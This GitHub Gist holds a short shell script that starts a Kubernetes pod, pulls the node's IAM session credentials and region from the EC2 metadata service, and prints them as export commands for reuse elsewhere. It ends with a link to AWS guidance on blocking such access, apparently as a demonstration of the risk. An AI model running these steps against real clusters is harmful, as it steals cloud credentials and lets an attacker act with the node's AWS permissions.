Last active
February 25, 2021 10:59
-
-
Save mlafeldt/dd4dfbda7cb2541939762ed944a8ad5f to your computer and use it in GitHub Desktop.
Use K8s pod to extract session credentials and region from EC2 metadata service
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # kubectl run my-shell --rm -it --restart=Never --image alpine --command sh | |
| apk add curl jq | |
| BASEURL=http://169.254.169.254/latest/meta-data | |
| ROLE=$(curl -s $BASEURL/iam/security-credentials) | |
| CREDS=$(curl -s $BASEURL/iam/security-credentials/$ROLE) | |
| AZ=$(curl -s $BASEURL/placement/availability-zone) | |
| echo "export AWS_REGION=${AZ::-1}"; echo "$CREDS" | jq -r '{AWS_ACCESS_KEY_ID: .AccessKeyId, AWS_SECRET_ACCESS_KEY: .SecretAccessKey, AWS_SESSION_TOKEN: .Token} | to_entries | .[] | "export " + .key + "=" + .value' | |
| # Paste the result into any shell and run `aws sts get-caller-identity` etc. | |
| # What you can do about it: | |
| # https://docs.aws.amazon.com/eks/latest/userguide/best-practices-security.html#restrict-ec2-credential-access |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment